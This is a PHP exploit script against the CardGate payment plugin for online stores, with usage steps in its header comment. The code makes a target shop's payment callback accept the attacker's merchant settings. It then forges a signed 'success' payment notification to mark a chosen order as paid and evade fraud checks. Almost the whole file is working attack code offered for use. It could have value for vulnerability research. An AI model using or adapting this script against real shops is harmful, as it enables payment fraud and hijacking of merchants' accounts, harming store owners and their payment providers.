<?php
/*
  Usage:

  1. Change values of the constants (see below for TARGET & ORDER*)
  2. Host this script somewhere (must be public accessible)
  3. Register a merchant at https://cardgate.com
  4. Sign into "My CardGate" dashboard
  5. Add fake site or choose existing one
  6. Click "Setup your Webshop" button in site preferences
  7. Paste the URL of this script into the pop-up window and click "Save"
  8. The target store now uses the settings of your site, enjoy :]

  P.S. It works perfectly in both Staging and Live modes, regardless of the current mode of the target shop.
*/

// -------- Options (start) --------
define('TARGET', 'http://domain.tld'); // without trailing slash, pls
define('ORDER', '000000001'); // provide non-zero value to automagically spoof order status
define('ORDER_AMOUNT', 1.00); // provide a valid total (to bypass built-in fraud protection)
define('ORDER_CURRENCY', 'USD'); // provide a valid currency (same goal as above)
define('ORDER_PAYMENT_TYPE', 'sofortbanking'); // provide a valid payment type slug (optional)
// --------- Options (end) ---------

define('API_STAGING', 'https://secure-staging.curopayments.net/rest/v1/curo/');
define('API_PRODUCTION', 'https://secure.curopayments.net/rest/v1/curo/');

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sToken_ 
 * @param bool $bTestmode_ 
 * @return string
 */
function pullConfig($sToken_, $bTestmode_ = FALSE) {
	if (!is_string($sToken_)) {
		throw new Exception('invalid token for settings pull: ' . $sToken_);
	}

	$sResource = "pullconfig/{$sToken_}/";
	$sUrl = ($bTestmode_ ? API_STAGING : API_PRODUCTION) . $sResource;

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_URL, $sUrl);
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_HTTPHEADER, [
		'Content-Type: application/json',
		'Accept: application/json'
	]);
	if ($bTestmode_) {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);
	} else {
		curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, TRUE);
		curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 2);
	}

	if (FALSE == ($sResults = curl_exec($rCh))) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}
	if (NULL === ($aResults = json_decode($sResults, TRUE))) {
		throw new Exception('remote gave invalid JSON: ' . $sResults);
	}
	if (isset($aResults['error'])) {
		throw new Exception($aResults['error']['message']);
	}

	return $aResults;
}

/**
 * Original function from CardGate API client library (SDK) with minor changes
 * @param string $sUrl 
 * @param array $aData_ 
 * @param string $sHttpMethod_ 
 * @return string
 */
function doRequest($sUrl, $aData_ = NULL, $sHttpMethod_ = 'POST') {
	if (!in_array($sHttpMethod_, ['GET', 'POST'])) {
		throw new Exception('invalid http method: ' . $sHttpMethod_);
	}

	$rCh = curl_init();
	curl_setopt($rCh, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($rCh, CURLOPT_TIMEOUT, 60);
	curl_setopt($rCh, CURLOPT_HEADER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYPEER, FALSE);
	curl_setopt($rCh, CURLOPT_SSL_VERIFYHOST, 0);

	if ('POST' == $sHttpMethod_) {
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
		curl_setopt($rCh, CURLOPT_POST, TRUE);
		curl_setopt($rCh, CURLOPT_POSTFIELDS, http_build_query($aData_));
	} else {
		$sUrl = $sUrl
			. (FALSE === strchr($sUrl, '?') ? '?' : '&')
			. http_build_query($aData_)
		;
		curl_setopt($rCh, CURLOPT_URL, $sUrl);
	}

	$response = curl_exec($rCh);
	if (FALSE == $response) {
		$sError = curl_error($rCh);
		curl_close($rCh);
		throw new Exception('Client.Request.Curl.Error: ' . $sError);
	} else {
		curl_close($rCh);
	}

	return $response;
}

if (!empty($_REQUEST['cgp_sitesetup']) && !empty($_REQUEST['token'])) {
	try {
		$aResult = pullConfig($_REQUEST['token'], $_REQUEST['testmode']);
		$aConfigData = $aResult['pullconfig']['content'];
		$response = doRequest(TARGET . '/cardgate/payment/callback', $_REQUEST, 'GET');
		if ($response == $aConfigData['merchant_id'] . '.' . $aConfigData['site_id'] . '.200') {
			if (ORDER) {
				$payload = [
					'testmode' => $_REQUEST['testmode'],
					'reference' => ORDER,
					'transaction' => 'T' . str_pad(time(), 11, random_int(0, 9)),
					'currency' => ORDER_CURRENCY,
					'amount' => ORDER_AMOUNT * 100,
					'status' => 'success',
					'code' => 200,
					'pt' => ORDER_PAYMENT_TYPE
				];
				$payload['hash'] = md5(
					(!empty($payload['testmode']) ? 'TEST' : '')
					. $payload['transaction']
					. $payload['currency']
					. $payload['amount']
					. $payload['reference']
					. $payload['code']
					. $aConfigData['site_key']
				);
				$response = doRequest(TARGET . '/cardgate/payment/callback', $payload, 'GET');
				if ($response == $payload['transaction'] . '.' . $payload['code']) {
					die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
				} else {
					throw new Exception("Unable to spoof order status, but merchant settings was updated successfully ($response)");	
				}
			} else {
				die($aConfigData['merchant'] . '.' . $aConfigData['site_id'] . '.200');
			}
		} else {
			throw new Exception("It seems target is not vulnerable ($response)");
		}
	} catch (\Exception $oException_) {
		die(htmlspecialchars($oException_->getMessage()));
	}
}